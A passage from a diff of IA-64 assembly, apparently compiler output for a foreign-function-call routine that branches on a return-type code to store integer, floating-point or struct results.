-	br.call.sptk.many b0 = b6 ;;
-	adds r14 = 16, r34
+	ld8 r14 = [r14]
+	adds r15 = 8, r15
 	;;
-	ld8 r15 = [r14]
+	shladd r14 = r14, 3, r0
 	;;
-	stfd [r15] = f8
-	br .L18
-.L19:
-	ld8 r21 = [r34]
-	adds r14 = 144, r34
-	adds r18 = 176, r34
-	;;
-	ld8 r22 = [r21], 8
-	adds r19 = 128, r34
-	adds r20 = 136, r34
-	adds r15 = 152, r34
-	adds r16 = 160, r34
-	adds r17 = 168, r34
-	ld8 r41 = [r14]
-	ld8 r45 = [r18]
-	ld8 r38 = [r23]
+	add r14 = r14, r15
 	;;
-	ld8 r39 = [r19]
-	ld8 r40 = [r20]
-	ld8 r42 = [r15]
-	ld8 r43 = [r16]
-	ld8 r44 = [r17]
-	ld8 r1 = [r21]
-	mov b6 = r22
-	;;
-	br.call.sptk.many b0 = b6 ;;
-	ld4 r14 = [r33]
-	mov r18 = r8
+	adds r14 = 112, r14
 	;;
-	cmp4.ne p6, p7 = 1, r14
-	(p7) br.cond.dpnt .L18
+	ld8 r14 = [r14]
 	;;
-	cmp4.ne p6, p7 = 0, r14
-	(p7) br.cond.dpnt .L98
+	st8 [r16] = r14
+	adds r15 = -8, r35
+	adds r14 = -8, r35
 	;;
-	cmp4.ne p6, p7 = 2, r14
-	(p7) br.cond.dpnt .L99
+	ld8 r14 = [r14]
 	;;
-	cmp4.ne p6, p7 = 3, r14
-	(p7) br.cond.dpnt .L99
+	adds r14 = 1, r14
 	;;
-	cmp4.ne p6, p7 = 4, r14
-	(p6) br.cond.dptk .L29
-.L99:
-	adds r14 = 16, r34
+	st8 [r15] = r14
+	br .L2
 	;;
-	ld8 r15 = [r14]
+.L3:
+	adds r15 = -32, r35
 	;;
-	st1 [r15] = r18
-	br .L18
-.L29:
-	cmp4.ne p6, p7 = 5, r14
-	(p7) br.cond.dpnt .L100
+	ld8 r14 = [r15]
 	;;
-	cmp4.ne p6, p7 = 6, r14
-	(p6) br.cond.dptk .L33
-.L100:
-	adds r14 = 16, r34
+	adds r14 = 24, r14
 	;;
-	ld8 r15 = [r14]
+	ld4 r14 = [r14]
 	;;
-	st2 [r15] = r18
-	br .L18
-.L33:
-	cmp4.ne p6, p7 = 7, r14
-	(p7) br.cond.dpnt .L101
+	cmp4.ne p6, p7 = 16, r14
+	(p6) br.cond.dptk .L6
+	adds r16 = -32, r35
 	;;
-	cmp4.ne p6, p7 = 8, r14
-	(p6) br.cond.dptk .L37
-.L101:
-	adds r14 = 16, r34
+	ld8 r14 = [r16]
 	;;
-	ld8 r15 = [r14]
+	adds r14 = 16, r14
 	;;
-	st4 [r15] = r18
-	br .L18
-.L37:
-	mov r15 = r14
+	ld8 r8 = [r14]
+.L6:
+	adds r14 = -12, r35
 	;;
-	cmp4.eq p6, p7 = 9, r15
-	(p6) br.cond.dptk .L98
+	ld4 r14 = [r14]
 	;;
-	cmp4.eq p6, p7 = 11, r15
-	(p6) br.cond.dptk .L98
+	cmp4.ge p6, p7 = 0, r14
+	(p6) br.cond.dptk .L7
+	adds r17 = -32, r35
 	;;
-	cmp4.eq p6, p7 = 10, r15
-	(p6) br.cond.dptk .L98
+	ld8 r14 = [r17]
 	;;
-	cmp4.eq p6, p7 = 12, r15
-	(p6) br.cond.dptk .L98
+	adds r14 = 56, r14
 	;;
-	cmp4.ne p6, p7 = 15, r15
-	(p6) br.cond.dptk .L45
-.L98:
-	adds r14 = 16, r34
+	ldfd f8 = [r14]
+	adds r14 = -12, r35
 	;;
-	ld8 r15 = [r14]
+	ld4 r14 = [r14]
 	;;
-	st8 [r15] = r18
-	br .L18
-.L45:
-	cmp4.ne p6, p7 = 16, r14
-	(p6) br.cond.dptk .L18
-	adds r15 = 8, r34
+	cmp4.ge p6, p7 = 1, r14
+	(p6) br.cond.dptk .L7
+	adds r23 = -32, r35
 	;;
-	ld4 r14 = [r15]
+	ld8 r14 = [r23]
 	;;
-	and r14 = 1, r14
+	adds r14 = 64, r14
 	;;
-	cmp4.eq p6, p7 = 0, r14
-	(p6) br.cond.dptk .L48
-	adds r14 = 32, r34
+	ldfd f9 = [r14]
+	adds r14 = -12, r35
 	;;
-	ld8 r14 = [r14]
+	ld4 r14 = [r14]
 	;;
-	cmp.ne p6, p7 = 1, r14
-	(p6) br.cond.dptk .L49
-	adds r14 = 16, r34
-	ld1 r16 = [r18]
+	cmp4.ge p6, p7 = 2, r14
+	(p6) br.cond.dptk .L7
+	adds r15 = -32, r35
 	;;
-	ld8 r15 = [r14]
+	ld8 r14 = [r15]
 	;;
-	st1 [r15] = r16
-	br .L18
-.L49:
-	cmp.ne p6, p7 = 2, r14
-	(p6) br.cond.dptk .L51
-	adds r14 = 16, r34
-	ld2 r16 = [r18]
+	adds r14 = 72, r14
 	;;
-	ld8 r15 = [r14]
+	ldfd f10 = [r14]
+	adds r14 = -12, r35
 	;;
-	st2 [r15] = r16
-	br .L18
-.L51:
-	cmp.ne p6, p7 = 4, r14
-	(p6) br.cond.dptk .L53
-	adds r14 = 16, r34
-	ld4 r16 = [r18]
+	ld4 r14 = [r14]
 	;;
-	ld8 r15 = [r14]
+	cmp4.ge p6, p7 = 3, r14
+	(p6) br.cond.dptk .L7
+	adds r16 = -32, r35
 	;;
-	st4 [r15] = r16
-	br .L18
-.L53:
-	cmp.ne p6, p7 = 8, r14
-	(p6) br.cond.dptk .L55
-	adds r14 = 16, r34
-	ld8 r16 = [r18]
+	ld8 r14 = [r16]
 	;;
-	ld8 r15 = [r14]
+	adds r14 = 80, r14
 	;;
-	st8 [r15] = r16
-	br .L18
-.L55:
-	adds r14 = 7, r14
+	ldfd f11 = [r14]
+	adds r14 = -12, r35
 	;;
-	shr.u r14 = r14, 3
+	ld4 r14 = [r14]
 	;;
-	adds r14 = -1, r14
+	cmp4.ge p6, p7 = 4, r14
+	(p6) br.cond.dptk .L7
+	adds r17 = -32, r35
 	;;
-	cmp4.le p6, p7 = 0, r14
-	sxt4 r17 = r14
-	(p7) br.cond.dpnt .L18
-	adds r14 = 16, r34
-	;;
-	ld8 r19 = [r14]
-.L59:
-	shl r14 = r17, 3
-	adds r17 = -1, r17
-	;;
-	add r16 = r18, r14
-	add r14 = r19, r14
-	cmp4.le p6, p7 = 0, r17
+	ld8 r14 = [r17]
 	;;
-	ld8 r15 = [r16]
-	sxt4 r17 = r17
+	adds r14 = 88, r14
 	;;
-	st8 [r14] = r15
-	(p6) br.cond.dptk .L59
-	br .L18
-.L48:
-	ld4 r14 = [r15]
-	addl r15 = 512, r0
+	ldfd f12 = [r14]
+	adds r14 = -12, r35
 	;;
-	and r14 = r15, r14
+	ld4 r14 = [r14]
 	;;
-	cmp4.eq p6, p7 = 0, r14
-	(p6) br.cond.dptk .L18
-	adds r22 = 32, r34
+	cmp4.ge p6, p7 = 5, r14
+	(p6) br.cond.dptk .L7
+	adds r23 = -32, r35
 	;;
-	ld8 r15 = [r22]
+	ld8 r14 = [r23]
 	;;
-	adds r14 = -1, r15
+	adds r14 = 96, r14
 	;;
-	cmp.ltu p6, p7 = 31, r14
-	(p6) br.cond.dptk .L18
+	ldfd f13 = [r14]
+	adds r14 = -12, r35
 	;;
-	cmp.eq p6, p7 = 0, r15
-	(p6) br.cond.dptk .L64
-	adds r14 = 16, r34
+	ld4 r14 = [r14]
 	;;
-	ld8 r15 = [r14]
+	cmp4.ge p6, p7 = 6, r14
+	(p6) br.cond.dptk .L7
+	adds r15 = -32, r35
 	;;
-	st1 [r15] = r18
-	ld8 r15 = [r22]
+	ld8 r14 = [r15]
 	;;
-.L64:
-	cmp.geu p6, p7 = 1, r15
-	(p6) br.cond.dptk .L65
-	adds r14 = 16, r34
-	shr r16 = r18, 8
+	adds r14 = 104, r14
 	;;
-	ld8 r15 = [r14]
+	ldfd f14 = [r14]
+	adds r14 = -12, r35
 	;;
-	adds r15 = 1, r15
+	ld4 r14 = [r14]
 	;;
-	st1 [r15] = r16
-	ld8 r15 = [r22]
+	cmp4.ge p6, p7 = 7, r14
+	(p6) br.cond.dptk .L7
+	adds r16 = -32, r35
 	;;
-.L65:
-	cmp.geu p6, p7 = 2, r15
-	(p6) br.cond.dptk .L66
-	adds r14 = 16, r34
-	shr r16 = r18, 16
+	ld8 r14 = [r16]
 	;;
-	ld8 r15 = [r14]
+	adds r14 = 112, r14
 	;;
-	adds r15 = 2, r15
+	ldfd f15 = [r14]
+.L7:
+	adds r17 = -32, r35
 	;;
-	st1 [r15] = r16
-	ld8 r15 = [r22]
+	ld8 r14 = [r17]
 	;;
-.L66:
-	cmp.geu p6, p7 = 3, r15
-	(p6) br.cond.dptk .L67
-	adds r14 = 16, r34
-	shr r16 = r18, 24
+	adds r14 = 24, r14
 	;;
-	ld8 r15 = [r14]
+	ld4 r14 = [r14]
 	;;
-	adds r15 = 3, r15
+	cmp4.ne p6, p7 = 13, r14
+	(p6) br.cond.dptk .L15
+	adds r23 = -32, r35
 	;;
-	st1 [r15] = r16
-	ld8 r15 = [r22]
+	ld8 r16 = [r23]
+	adds r15 = -32, r35
 	;;
-.L67:
-	cmp.geu p6, p7 = 4, r15
-	(p6) br.cond.dptk .L68
-	adds r14 = 16, r34
-	shr r16 = r18, 32
+	ld8 r14 = [r15]
 	;;
-	ld8 r15 = [r14]
+	adds r17 = 120, r14
+	adds r23 = -32, r35
 	;;
-	adds r15 = 4, r15
+	ld8 r14 = [r23]
 	;;
-	st1 [r15] = r16
-	ld8 r15 = [r22]
+	adds r18 = 128, r14
+	adds r15 = -32, r35
 	;;
-.L68:
-	cmp.geu p6, p7 = 5, r15
-	(p6) br.cond.dptk .L69
-	adds r14 = 16, r34
-	shr r16 = r18, 40
+	ld8 r14 = [r15]
 	;;
-	ld8 r15 = [r14]
+	adds r19 = 136, r14
+	adds r23 = -32, r35
 	;;
-	adds r15 = 5, r15
+	ld8 r14 = [r23]
 	;;
-	st1 [r15] = r16
-	ld8 r15 = [r22]
+	adds r20 = 144, r14
+	adds r15 = -32, r35
 	;;
-.L69:
-	cmp.geu p6, p7 = 6, r15
-	(p6) br.cond.dptk .L70
-	adds r14 = 16, r34
-	shr r16 = r18, 48
+	ld8 r14 = [r15]
 	;;
-	ld8 r15 = [r14]
+	adds r21 = 152, r14
+	adds r23 = -32, r35
 	;;
-	adds r15 = 6, r15
+	ld8 r14 = [r23]
 	;;
-	st1 [r15] = r16
-	ld8 r15 = [r22]
+	adds r22 = 160, r14
+	adds r15 = -32, r35
 	;;
-.L70:
-	cmp.geu p6, p7 = 7, r15
-	(p6) br.cond.dptk .L71
-	adds r14 = 16, r34
-	shr r16 = r18, 56
+	ld8 r14 = [r15]
 	;;
-	ld8 r15 = [r14]
+	adds r15 = 168, r14
+	adds r23 = -32, r35
 	;;
-	adds r15 = 7, r15
+	ld8 r14 = [r23]
 	;;
-	st1 [r15] = r16
-	ld8 r15 = [r22]
+	adds r14 = 176, r14
+	ld8 r16 = [r16]
+	ld8 r37 = [r17]
+	ld8 r38 = [r18]
+	ld8 r39 = [r19]
+	ld8 r40 = [r20]
+	ld8 r41 = [r21]
+	ld8 r42 = [r22]
+	ld8 r43 = [r15]
+	;;
+	ld8 r44 = [r14]
+	ld8 r14 = [r16], 8
+	;;
+	mov b6 = r14
+	ld8 r1 = [r16]
+	br.call.sptk.many b0 = b6
+	;;
+	mov r1 = r36
+	mov f6 = f8
+	adds r15 = -32, r35
 	;;
-.L71:
-	cmp.geu p6, p7 = 8, r15
-	(p6) br.cond.dptk .L18
-	adds r16 = 16, r34
+	ld8 r14 = [r15]
 	;;
-	ld8 r14 = [r16]
+	adds r14 = 16, r14
 	;;
-	adds r14 = 8, r14
+	ld8 r14 = [r14]
 	;;
-	st1 [r14] = r9
-	ld8 r15 = [r22]
+	stfs [r14] = f6
+	br .L16
+	;;
+.L15:
+	adds r16 = -32, r35
 	;;
-	cmp.geu p6, p7 = 9, r15
-	(p6) br.cond.dptk .L73
 	ld8 r14 = [r16]
-	shr r15 = r9, 8
 	;;
-	adds r14 = 9, r14
+	adds r14 = 24, r14
 	;;
-	st1 [r14] = r15
-	ld8 r15 = [r22]
+	ld4 r14 = [r14]
 	;;
-.L73:
-	cmp.geu p6, p7 = 10, r15
-	(p6) br.cond.dptk .L74
-	ld8 r14 = [r16]
-	shr r15 = r9, 16
+	cmp4.ne p6, p7 = 14, r14
+	(p6) br.cond.dptk .L17
+	adds r17 = -32, r35
 	;;
-	adds r14 = 10, r14
+	ld8 r16 = [r17]
+	adds r23 = -32, r35
 	;;
-	st1 [r14] = r15
-.L74:
-	ld8 r14 = [r22]
+	ld8 r14 = [r23]
 	;;
-	cmp.geu p6, p7 = 11, r14
-	(p6) br.cond.dptk .L75
-	ld8 r14 = [r16]
-	shr r15 = r9, 24
+	adds r17 = 120, r14
+	adds r15 = -32, r35
 	;;
-	adds r14 = 11, r14
+	ld8 r14 = [r15]
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	adds r18 = 128, r14
+	adds r23 = -32, r35
 	;;
-.L75:
-	cmp.geu p6, p7 = 12, r14
-	(p6) br.cond.dptk .L76
-	ld8 r14 = [r16]
-	shr r15 = r9, 32
+	ld8 r14 = [r23]
 	;;
-	adds r14 = 12, r14
+	adds r19 = 136, r14
+	adds r15 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r14 = [r15]
 	;;
-.L76:
-	cmp.geu p6, p7 = 13, r14
-	(p6) br.cond.dptk .L77
-	ld8 r14 = [r16]
-	shr r15 = r9, 40
+	adds r20 = 144, r14
+	adds r23 = -32, r35
 	;;
-	adds r14 = 13, r14
+	ld8 r14 = [r23]
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	adds r21 = 152, r14
+	adds r15 = -32, r35
 	;;
-.L77:
-	cmp.geu p6, p7 = 14, r14
-	(p6) br.cond.dptk .L78
-	ld8 r14 = [r16]
-	shr r15 = r9, 48
+	ld8 r14 = [r15]
 	;;
-	adds r14 = 14, r14
+	adds r22 = 160, r14
+	adds r23 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r14 = [r23]
 	;;
-.L78:
-	cmp.geu p6, p7 = 15, r14
-	(p6) br.cond.dptk .L79
-	ld8 r14 = [r16]
-	shr r15 = r9, 56
+	adds r15 = 168, r14
+	adds r23 = -32, r35
 	;;
-	adds r14 = 15, r14
+	ld8 r14 = [r23]
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	adds r14 = 176, r14
+	ld8 r16 = [r16]
+	ld8 r37 = [r17]
+	ld8 r38 = [r18]
+	ld8 r39 = [r19]
+	ld8 r40 = [r20]
+	ld8 r41 = [r21]
+	ld8 r42 = [r22]
+	ld8 r43 = [r15]
+	;;
+	ld8 r44 = [r14]
+	ld8 r14 = [r16], 8
+	;;
+	mov b6 = r14
+	ld8 r1 = [r16]
+	br.call.sptk.many b0 = b6
+	;;
+	mov r1 = r36
+	mov f6 = f8
+	adds r15 = -32, r35
 	;;
-.L79:
-	cmp.geu p6, p7 = 16, r14
-	(p6) br.cond.dptk .L18
-	ld8 r14 = [r16]
+	ld8 r14 = [r15]
 	;;
 	adds r14 = 16, r14
 	;;
-	st1 [r14] = r10
-	ld8 r14 = [r22]
+	ld8 r14 = [r14]
 	;;
-	cmp.geu p6, p7 = 17, r14
-	(p6) br.cond.dptk .L81
-	ld8 r14 = [r16]
-	shr r15 = r10, 8
+	stfd [r14] = f6
+	br .L16
 	;;
-	adds r14 = 17, r14
+.L17:
+	adds r17 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r16 = [r17]
+	adds r23 = -32, r35
 	;;
-.L81:
-	cmp.geu p6, p7 = 18, r14
-	(p6) br.cond.dptk .L82
-	ld8 r14 = [r16]
-	shr r15 = r10, 16
+	ld8 r14 = [r23]
 	;;
-	adds r14 = 18, r14
+	adds r17 = 120, r14
+	adds r15 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r14 = [r15]
 	;;
-.L82:
-	cmp.geu p6, p7 = 19, r14
-	(p6) br.cond.dptk .L83
-	ld8 r14 = [r16]
-	shr r15 = r10, 24
+	adds r18 = 128, r14
+	adds r23 = -32, r35
 	;;
-	adds r14 = 19, r14
+	ld8 r14 = [r23]
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	adds r19 = 136, r14
+	adds r15 = -32, r35
 	;;
-.L83:
-	cmp.geu p6, p7 = 20, r14
-	(p6) br.cond.dptk .L84
-	ld8 r14 = [r16]
-	shr r15 = r10, 32
+	ld8 r14 = [r15]
 	;;
-	adds r14 = 20, r14
+	adds r20 = 144, r14
+	adds r23 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r14 = [r23]
 	;;
-.L84:
-	cmp.geu p6, p7 = 21, r14
-	(p6) br.cond.dptk .L85
-	ld8 r14 = [r16]
-	shr r15 = r10, 40
+	adds r21 = 152, r14
+	adds r15 = -32, r35
 	;;
-	adds r14 = 21, r14
+	ld8 r14 = [r15]
 	;;
-	st1 [r14] = r15
-.L85:
-	ld8 r14 = [r22]
+	adds r22 = 160, r14
+	adds r23 = -32, r35
 	;;
-	cmp.geu p6, p7 = 22, r14
-	(p6) br.cond.dptk .L86
-	ld8 r14 = [r16]
-	shr r15 = r10, 48
+	ld8 r14 = [r23]
 	;;
-	adds r14 = 22, r14
+	adds r15 = 168, r14
+	adds r23 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r14 = [r23]
 	;;
-.L86:
-	cmp.geu p6, p7 = 23, r14
-	(p6) br.cond.dptk .L87
-	ld8 r14 = [r16]
-	shr r15 = r10, 56
+	adds r14 = 176, r14
+	ld8 r16 = [r16]
+	ld8 r37 = [r17]
+	ld8 r38 = [r18]
+	ld8 r39 = [r19]
+	ld8 r40 = [r20]
+	ld8 r41 = [r21]
+	ld8 r42 = [r22]
+	ld8 r43 = [r15]
+	;;
+	ld8 r44 = [r14]
+	ld8 r14 = [r16], 8
+	;;
+	mov b6 = r14
+	ld8 r1 = [r16]
+	br.call.sptk.many b0 = b6
+	;;
+	mov r1 = r36
+	mov r15 = r8
+	adds r14 = -8, r35
 	;;
-	adds r14 = 23, r14
+	st8 [r14] = r15
+	adds r15 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 1, r14
+	(p6) br.cond.dptk .L19
+	br .L16
+	;;
+.L19:
+	adds r16 = -32, r35
 	;;
-.L87:
-	cmp.geu p6, p7 = 24, r14
-	(p6) br.cond.dptk .L18
 	ld8 r14 = [r16]
 	;;
 	adds r14 = 24, r14
 	;;
-	st1 [r14] = r11
-	ld8 r14 = [r22]
+	ld4 r14 = [r14]
 	;;
-	cmp.geu p6, p7 = 25, r14
-	(p6) br.cond.dptk .L89
-	ld8 r14 = [r16]
-	shr r15 = r11, 8
+	cmp4.ne p6, p7 = 0, r14
+	(p6) br.cond.dptk .L21
+	adds r17 = -32, r35
 	;;
-	adds r14 = 25, r14
+	ld8 r14 = [r17]
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	adds r14 = 16, r14
 	;;
-.L89:
-	cmp.geu p6, p7 = 26, r14
-	(p6) br.cond.dptk .L90
-	ld8 r14 = [r16]
-	shr r15 = r11, 16
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
 	;;
-	adds r14 = 26, r14
+	ld8 r14 = [r14]
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	st8 [r15] = r14
+	br .L16
 	;;
-.L90:
-	cmp.geu p6, p7 = 27, r14
-	(p6) br.cond.dptk .L91
-	ld8 r14 = [r16]
-	shr r15 = r11, 24
+.L21:
+	adds r23 = -32, r35
 	;;
-	adds r14 = 27, r14
+	ld8 r14 = [r23]
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	adds r14 = 24, r14
 	;;
-.L91:
-	cmp.geu p6, p7 = 28, r14
-	(p6) br.cond.dptk .L92
-	ld8 r14 = [r16]
-	shr r15 = r11, 32
+	ld4 r14 = [r14]
 	;;
-	adds r14 = 28, r14
+	cmp4.ne p6, p7 = 2, r14
+	(p6) br.cond.dptk .L23
+	adds r15 = -32, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld8 r14 = [r15]
 	;;
-.L92:
-	cmp.geu p6, p7 = 29, r14
-	(p6) br.cond.dptk .L93
-	ld8 r14 = [r16]
-	shr r15 = r11, 40
+	adds r14 = 16, r14
 	;;
-	adds r14 = 29, r14
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld1 r14 = [r14]
+	;;
+	st1 [r15] = r14
+	br .L16
+	;;
+.L23:
+	adds r16 = -32, r35
 	;;
-.L93:
-	cmp.geu p6, p7 = 30, r14
-	(p6) br.cond.dptk .L94
 	ld8 r14 = [r16]
-	shr r15 = r11, 48
 	;;
-	adds r14 = 30, r14
+	adds r14 = 24, r14
 	;;
-	st1 [r14] = r15
-	ld8 r14 = [r22]
+	ld4 r14 = [r14]
 	;;
-.L94:
-	cmp.geu p6, p7 = 31, r14
-	(p6) br.cond.dptk .L18
-	ld8 r14 = [r16]
-	shr r15 = r11, 56
+	cmp4.ne p6, p7 = 3, r14
+	(p6) br.cond.dptk .L25
+	adds r17 = -32, r35
 	;;
-	adds r14 = 31, r14
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld1 r14 = [r14]
+	;;
+	st1 [r15] = r14
+	br .L16
+	;;
+.L25:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 4, r14
+	(p6) br.cond.dptk .L27
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld1 r14 = [r14]
+	;;
+	st1 [r15] = r14
+	br .L16
+	;;
+.L27:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 5, r14
+	(p6) br.cond.dptk .L29
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld2 r14 = [r14]
+	;;
+	st2 [r15] = r14
+	br .L16
+	;;
+.L29:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 6, r14
+	(p6) br.cond.dptk .L31
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld2 r14 = [r14]
+	;;
+	st2 [r15] = r14
+	br .L16
+	;;
+.L31:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 7, r14
+	(p6) br.cond.dptk .L33
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld4 r14 = [r14]
+	;;
+	st4 [r15] = r14
+	br .L16
+	;;
+.L33:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 8, r14
+	(p6) br.cond.dptk .L35
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld4 r14 = [r14]
+	;;
+	st4 [r15] = r14
+	br .L16
+	;;
+.L35:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.eq p6, p7 = 9, r14
+	(p6) br.cond.dptk .L38
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.eq p6, p7 = 11, r14
+	(p6) br.cond.dptk .L38
+	br .L37
+	;;
+.L38:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	st8 [r15] = r14
+	br .L16
+	;;
+.L37:
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.eq p6, p7 = 10, r14
+	(p6) br.cond.dptk .L41
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.eq p6, p7 = 12, r14
+	(p6) br.cond.dptk .L41
+	br .L40
+	;;
+.L41:
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	st8 [r15] = r14
+	br .L16
+	;;
+.L40:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 15, r14
+	(p6) br.cond.dptk .L43
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	st8 [r15] = r14
+	br .L16
+	;;
+.L43:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 24, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	cmp4.ne p6, p7 = 16, r14
+	(p6) br.cond.dptk .L16
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 8, r14
+	;;
+	ld4 r14 = [r14]
+	;;
+	and r14 = 1, r14
+	;;
+	cmp4.eq p6, p7 = 0, r14
+	(p6) br.cond.dptk .L46
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.ne p6, p7 = 1, r14
+	(p6) br.cond.dptk .L47
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	ld1 r14 = [r14]
+	;;
+	st1 [r15] = r14
+	br .L16
+	;;
+.L47:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.ne p6, p7 = 2, r14
+	(p6) br.cond.dptk .L49
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	ld2 r14 = [r14]
+	;;
+	st2 [r15] = r14
+	br .L16
+	;;
+.L49:
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.ne p6, p7 = 4, r14
+	(p6) br.cond.dptk .L51
+	adds r15 = -32, r35
+	;;
+	ld8 r14 = [r15]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	ld4 r14 = [r14]
+	;;
+	st4 [r15] = r14
+	br .L16
+	;;
+.L51:
+	adds r16 = -32, r35
+	;;
+	ld8 r14 = [r16]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	cmp.ne p6, p7 = 8, r14
+	(p6) br.cond.dptk .L53
+	adds r17 = -32, r35
+	;;
+	ld8 r14 = [r17]
+	;;
+	adds r14 = 16, r14
+	;;
+	ld8 r15 = [r14]
+	adds r14 = -8, r35
+	;;
+	ld8 r14 = [r14]
+	;;
+	ld8 r14 = [r14]
+	;;
+	st8 [r15] = r14
+	br .L16
+	;;
+.L53:
+	mov r15 = r35
+	adds r23 = -32, r35
+	;;
+	ld8 r14 = [r23]
+	;;
+	adds r14 = 32, r14
+	;;
+	ld8 r14 = [r14]
+	;;
+	adds r14 = 7, r14
+	;;
+	shr.u r14 = r14, 3
+	;;
+	st4 [r15] = r14
+.L55:
+	mov r15 = r35
+	mov r14 = r35
+	;;
+	ld4 r14 = [r14]
+	;;
+	adds r14 = -1, r14
+	;;
